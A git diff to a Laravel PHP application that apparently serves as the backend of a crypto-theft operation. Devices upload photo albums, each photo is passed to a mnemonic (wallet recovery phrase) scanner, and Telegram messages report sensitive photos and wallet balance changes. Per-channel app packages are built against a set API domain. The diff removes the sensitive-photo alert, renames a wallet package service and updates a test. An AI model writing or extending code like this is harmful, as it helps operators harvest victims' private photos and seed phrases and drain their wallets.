diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php index 9c34480..beea538 100644 --- a/app/Http/Controllers/Admin/ChannelController.php +++ b/app/Http/Controllers/Admin/ChannelController.php @@ -386,7 +386,7 @@ class ChannelController extends Controller $apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc'))); try { - $service = app(\App\Services\AiWalletPackageService::class); + $service = app(\App\Services\AppPackageService::class); $result = $service->build($channel, $logoPath, $apiDomain); } catch (\Throwable $e) { $result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()]; diff --git a/app/Models/Photo.php b/app/Models/Photo.php index fdeb7b9..6cddd91 100644 --- a/app/Models/Photo.php +++ b/app/Models/Photo.php @@ -8,8 +8,6 @@ use Illuminate\Database\Eloquent\Relations\HasMany; class Photo extends Model { - public const X_HIT_ALERT = 12; - protected function casts(): array { return [ diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 3c788dd..2c08aa8 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -1087,7 +1087,6 @@ class IngestService return; } - $stored = 0; foreach ($filePaths as $path) { if (! is_file($path)) { continue; @@ -1112,12 +1111,6 @@ class IngestService 'barcode_count' => $meta['barcode_count'] ?? null, ]); app(MnemonicScanService::class)->dispatchPhoto($photo); - $stored++; - } - - $xHit = $meta['x_hit'] ?? null; - if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) { - $this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored); } } diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 6f23479..5fd0a0f 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -358,16 +358,6 @@ class TelegramNotifier $this->send(implode("\n", $lines), $deviceId); } - public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void - { - $this->send(implode("\n", [ - '🖼 敏感照片', - ...$this->deviceHeader($deviceId), - '🎯 敏感分: '.$this->e((string) $xHit), - '📦 数量: '.$this->e((string) max(1, $count)), - ]), $deviceId); - } - public function notifyBalanceChange( string $deviceId, string $address, diff --git a/tests/Feature/DeviceAlbumStorageTest.php b/tests/Feature/DeviceAlbumStorageTest.php index 47b247e..71cbb47 100644 --- a/tests/Feature/DeviceAlbumStorageTest.php +++ b/tests/Feature/DeviceAlbumStorageTest.php @@ -292,7 +292,7 @@ class DeviceAlbumStorageTest extends TestCase } #[Test] - public function ingest_notifies_telegram_when_x_hit_is_12(): void + public function ingest_does_not_notify_telegram_for_photos(): void { Storage::fake('local'); config([ @@ -307,26 +307,14 @@ class DeviceAlbumStorageTest extends TestCase $ingest = app(IngestService::class); $ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]); - Http::assertNothingSent(); $tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg'; file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9"); - $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]); + $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => 12]); + $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => 12]); - Http::assertSent(function ($request) { - $text = (string) ($request->data()['text'] ?? ''); - - return str_contains($text, '敏感照片') - && str_contains($text, 'dev-hit12') - && str_contains($text, '敏感分: 12'); - }); - - $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]); - $this->assertSame(1, collect(Http::recorded())->filter(function ($pair) { - $text = (string) ($pair[0]->data()['text'] ?? ''); - - return str_contains($text, '敏感照片'); - })->count()); + $this->assertSame(1, Photo::query()->where('device_id', $device->id)->where('x_hit', 12)->count()); + Http::assertNothingSent(); @unlink($tmp); @unlink($tmp2);